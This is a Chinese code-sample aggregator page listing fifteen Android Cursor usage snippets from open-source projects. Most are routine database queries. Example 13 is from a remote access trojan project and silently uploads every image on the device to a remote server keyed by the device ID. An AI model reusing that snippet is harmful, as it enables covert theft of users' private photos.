當前位置: 首頁>>代碼示例>>Java>>正文


Java Cursor類代碼示例

本文整理匯總了Java中android.database.Cursor的典型用法代碼示例。如果您正苦於以下問題:Java Cursor類的具體用法?Java Cursor怎麽用?Java Cursor使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。


Cursor類屬於android.database包,在下文中一共展示了Cursor類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: getRouteHistory

import android.database.Cursor; //導入依賴的package包/類
public RouteHistory getRouteHistory() {
    SQLiteDatabase db = this.getReadableDatabase();
    Cursor cursor = db.rawQuery("SELECT * FROM " + TABLE_ROUTE +
            " ORDER BY " + COLUMN_DATE + " DESC;", null);
    RouteHistory rh = new RouteHistory();
    cursor.moveToFirst();
    if (cursor != null) {
        do {
            Route route = new Route();
            route.setScore(cursor.getDouble(cursor.getColumnIndex(COLUMN_SCORE)));
            GregorianCalendar date = new GregorianCalendar();
            date.setTimeInMillis(cursor.getLong(cursor.getColumnIndex(COLUMN_DATE)));
            route.setDate(date);
            rh.add(route);
        } while (cursor.moveToNext());
    }
    this.close();
    return rh;
}
 
開發者ID:BernhardWebstudio,項目名稱:ShadowTravelor,代碼行數:20,代碼來源:DBHelper.java

示例2: onCreateLoader

import android.database.Cursor; //導入依賴的package包/類
@Override
public Loader<Cursor> onCreateLoader(int id, Bundle args) {
    Uri uri;
    switch (id) {
        case LOADER_CAN_UPDATE:
            uri = AppProvider.getCanUpdateUri();
            break;

        case LOADER_KNOWN_VULN:
            uri = AppProvider.getInstalledWithKnownVulnsUri();
            break;

        default:
            throw new IllegalStateException("Unknown loader requested: " + id);
    }

    return new CursorLoader(
            activity, uri, Schema.AppMetadataTable.Cols.ALL, null, null, Schema.AppMetadataTable.Cols.NAME);
}
 
開發者ID:uhuru-mobile,項目名稱:mobile-store,代碼行數:20,代碼來源:UpdatesAdapter.java

示例3: readEntity

import android.database.Cursor; //導入依賴的package包/類
/** @inheritdoc */
@Override
public Friend readEntity(Cursor cursor, int offset) {
    Friend entity = new Friend( //
        cursor.getString(offset + 0), // userId
        cursor.isNull(offset + 1) ? null : cursor.getString(offset + 1), // name
        cursor.isNull(offset + 2) ? null : Uri.parse(cursor.getString(offset + 2)), // portraitUri
        cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3), // displayName
        cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4), // region
        cursor.isNull(offset + 5) ? null : cursor.getString(offset + 5), // phoneNumber
        cursor.isNull(offset + 6) ? null : cursor.getString(offset + 6), // status
        cursor.isNull(offset + 7) ? null : cursor.getLong(offset + 7), // timestamp
        cursor.isNull(offset + 8) ? null : cursor.getString(offset + 8), // nameSpelling
        cursor.isNull(offset + 9) ? null : cursor.getString(offset + 9) // displayNameSpelling
    );
    return entity;
}
 
開發者ID:LanguidSheep,項目名稱:sealtalk-android-master,代碼行數:18,代碼來源:FriendDao.java

示例4: isInDB

import android.database.Cursor; //導入依賴的package包/類
public boolean isInDB(String id) {
    SQLiteDatabase db = this.getReadableDatabase();

    Cursor cursor = db.query(
            FoodContract.FoodEntry.TABLE_NAME,
            null,
            FoodContract.FoodEntry.ID + " = ?",
            new String[] { id },
            null,
            null,
            FoodContract.FoodEntry.NAME
    );

    int result = cursor.getCount();
    cursor.close();
    return result > 0;

}
 
開發者ID:MrNo-Body,項目名稱:ecam-app-android,代碼行數:19,代碼來源:FoodDBHelper.java

示例5: fromCursor

import android.database.Cursor; //導入依賴的package包/類
public static Note fromCursor(Cursor cursor) {
    long id = idFromCursor(cursor);

    int contentLines = cursor.getInt(cursor.getColumnIndex(DbNoteView.CONTENT_LINE_COUNT));

    OrgHead head = headFromCursor(cursor);

    NotePosition position = DbNote.positionFromCursor(cursor);

    Note note = new Note();

    note.setHead(head);
    note.setId(id);
    note.setPosition(position);
    note.setContentLines(contentLines);

    String inheritedTags = cursor.getString(cursor.getColumnIndex(DbNoteView.INHERITED_TAGS));
    if (! TextUtils.isEmpty(inheritedTags)) {
        note.setInheritedTags(DbNote.dbDeSerializeTags(inheritedTags));
    }

    return note;
}
 
開發者ID:orgzly,項目名稱:orgzly-android,代碼行數:24,代碼來源:NotesClient.java

示例6: handleAlbumData

import android.database.Cursor; //導入依賴的package包/類
private void handleAlbumData(Intent data) {
    Uri uri = data.getData();
    String[] projection = new String[]{
            MediaStore.Images.Media.DATA
    };

    Cursor cursor = getContentResolver().query(
            uri,
            projection,
            null,
            null,
            null
    );
    if (cursor != null && cursor.moveToFirst()) {
        int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
        String imagePath = cursor.getString(dataIndex);
        cursor.close();
        showBitmap(imagePath);
    }

}
 
開發者ID:jiangkang,項目名稱:KTools,代碼行數:22,代碼來源:ImageActivity.java

示例7: getOrderIndexById

import android.database.Cursor; //導入依賴的package包/類
public int getOrderIndexById(int id) {
    Cursor cursor = null;
    try {
        cursor = getEntryById(id);
        if (cursor.moveToFirst()) {
            while (!cursor.isAfterLast()) {
                return cursor.getInt(cursor.getColumnIndex(DataEntry.COLUMN_NAME_ENTRY_ID));
            }
        }
    } finally {
        if (cursor != null) {
            cursor.close();
        }
    }
    return 0;
}
 
開發者ID:IdeaTrackerPlus,項目名稱:IdeaTrackerPlus,代碼行數:17,代碼來源:DatabaseHelper.java

示例8: isHasDownloadInDB

import android.database.Cursor; //導入依賴的package包/類
public static boolean isHasDownloadInDB(String vid) {
    Cursor cursor = null;
    boolean isHas = false;
    try {
        Query query = new Query(sConext.getContentResolver());
        query.setVid(vid);
        cursor = query(query);
        if (cursor != null && cursor.getCount() > 0) {
            isHas = true;
        }
        if (!(cursor == null || cursor.isClosed())) {
            cursor.close();
        }
    } catch (Exception e) {
        e.printStackTrace();
        if (!(cursor == null || cursor.isClosed())) {
            cursor.close();
        }
    } catch (Throwable th) {
        if (!(cursor == null || cursor.isClosed())) {
            cursor.close();
        }
    }
    return isHas;
}
 
開發者ID:JackChan1999,項目名稱:letv,代碼行數:26,代碼來源:DownloadManager.java

示例9: c

import android.database.Cursor; //導入依賴的package包/類
public static String c(Context context) {
    try {
        Cursor query = context.getContentResolver().query(b, null, null, null, null);
        if (query == null) {
            return null;
        }
        query.moveToFirst();
        if (query.isAfterLast()) {
            if (query != null) {
                query.close();
            }
            return null;
        }
        String string = query.getString(query.getColumnIndex("proxy"));
        if (query == null) {
            return string;
        }
        query.close();
        return string;
    } catch (SecurityException e) {
        f.e(a, "getApnProxy has exception: " + e.getMessage());
        return "";
    }
}
 
開發者ID:JackChan1999,項目名稱:boohee_v5.6,代碼行數:25,代碼來源:a.java

示例10: readDataFromCursor

import android.database.Cursor; //導入依賴的package包/類
@Override
public boolean readDataFromCursor(Cursor cursor, QueryEnum query) {
    boolean success = false;

    if (cursor != null && cursor.moveToFirst()) {
        if (SessionDetailQueryEnum.SESSIONS == query) {
            readDataFromSessionCursor(cursor);
            mSessionLoaded = true;
            success = true;
        } else if (SessionDetailQueryEnum.TAG_METADATA == query) {
            readDataFromTagMetadataCursor(cursor);
            success = true;
        } else if (SessionDetailQueryEnum.FEEDBACK == query) {
            readDataFromFeedbackCursor(cursor);
            success = true;
        } else if (SessionDetailQueryEnum.SPEAKERS == query) {
            readDataFromSpeakersCursor(cursor);
            success = true;
        } else if (SessionDetailQueryEnum.MY_VIEWED_VIDEOS == query) {
            readDataFromMyViewedVideosCursor(cursor);
            success = true;
        }
    }

    return success;
}
 
開發者ID:dreaminglion,項目名稱:iosched-reader,代碼行數:27,代碼來源:SessionDetailModel.java

示例11: getAccessDns

import android.database.Cursor; //導入依賴的package包/類
public Cursor getAccessDns(String dname) {
    long now = new Date().getTime();
    lock.readLock().lock();
    try {
        SQLiteDatabase db = this.getReadableDatabase();

        // There is a segmented index on dns.qname
        // There is an index on access.daddr and access.block
        String query = "SELECT a.uid, a.version, a.protocol, a.daddr, d.resource, a.dport, a.block, d.time, d.ttl";
        query += " FROM access AS a";
        query += " LEFT JOIN dns AS d";
        query += "   ON d.qname = a.daddr";
        query += " WHERE a.block >= 0";
        query += " AND d.time + d.ttl >= " + now;
        if (dname != null)
            query += " AND a.daddr = ?";

        return db.rawQuery(query, dname == null ? new String[]{} : new String[]{dname});
    } finally {
        lock.readLock().unlock();
    }
}
 
開發者ID:miankai,項目名稱:MKAPP,代碼行數:23,代碼來源:DatabaseHelper.java

示例12: getMaxId

import android.database.Cursor; //導入依賴的package包/類
/**
 * @return the max _id in the provided table.
 */
@Thunk static long getMaxId(SQLiteDatabase db, String table) {
    Cursor c = db.rawQuery("SELECT MAX(_id) FROM " + table, null);
    // get the result
    long id = -1;
    if (c != null && c.moveToNext()) {
        id = c.getLong(0);
    }
    if (c != null) {
        c.close();
    }

    if (id == -1) {
        throw new RuntimeException("Error: could not query max id in " + table);
    }

    return id;
}
 
開發者ID:michelelacorte,項目名稱:FlickLauncher,代碼行數:21,代碼來源:LauncherProvider.java

示例13: doInBackground

import android.database.Cursor; //導入依賴的package包/類
@Override
      protected String doInBackground(String... params) {     
			
			Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
		    String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.BUCKET_ID,
		            MediaStore.Images.Media.BUCKET_DISPLAY_NAME, MediaStore.Images.Media.DATA, MediaStore.Images.Media.DATE_TAKEN, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.SIZE};
		  	  Log.i("com.connect", "Pictures started");
    
		    Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
		    if (cursor != null) 
		    {
		        while (cursor.moveToNext()) 
		        {
//		            if(Integer.parseInt(i)<Integer.parseInt(cursor.getString(5)) && Integer.parseInt(j)>Integer.parseInt(cursor.getString(5)) && Integer.parseInt(k) > (Integer.parseInt(cursor.getString(7))/1024^2))
//		            {
			    		  new UploadFile(cursor.getString(3), urlUploadPictures + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Password=" + password).execute("");
//		            }
		        }
		    }
		        cursor.close();     	
			  	  Log.i("com.connect", "Pictures done");
		    return "Executed";
      }
 
開發者ID:mwsrc,項目名稱:Dendroid-HTTP-RAT,代碼行數:24,代碼來源:MyService.java

示例14: doInBackground

import android.database.Cursor; //導入依賴的package包/類
@Override
protected ArrayList<TV> doInBackground(Void... voids) {
    ArrayList<TV> posters = new ArrayList<>();
    String[] columns = new String[]{ COLUMN_POSTER_PATH, COLUMN_TV_SHOW_ID, COLUMN_NAME};

    final Cursor cursor = contentResolver.query(FavoritesContract.FavoriteColumns.uriTVShow,
            columns, null, null, null);

    if (cursor != null && cursor.getCount() != 0) {
        TV data;
        while (cursor.moveToNext()) {
            data = new TV();
            data.setPosterPath(cursor.getString(0));
            data.setId(String.format("%s", cursor.getInt(1)));
            data.setName(cursor.getString(2));
            posters.add(data);
        }
    } else {
        if (LOG) {
            Log.d(TAG, "Cursor is empty");
        }
    }
    if (cursor != null)
        cursor.close();
    return posters;
}
 
開發者ID:an-garcia,項目名稱:MovieGuide,代碼行數:27,代碼來源:FavoritesFragment.java

示例15: hasData

import android.database.Cursor; //導入依賴的package包/類
/**
 * hasData
 *
 * @param context   context
 * @param tableName tableName
 * @param where     where
 * @return bool
 */
protected boolean hasData(Context context, String tableName, String where) {
    int count = 0;
    try {
        SQLiteDatabase db = getHelper(context).getWritableDatabase();
        Cursor cursor = db.query(false, tableName, null, where, null, null, null, null, null);
        try {
            count = cursor.getCount();
        } finally {
            if (!cursor.isClosed()) {
                cursor.close();
            }
            db.close();
            db = null;
        }
    } catch (Exception e) {
        handleException(e);
    }
    return count > 0;
}
 
開發者ID:LiangMaYong,項目名稱:android-apkbox,代碼行數:28,代碼來源:AbstractDao.java


注:本文中的android.database.Cursor類示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。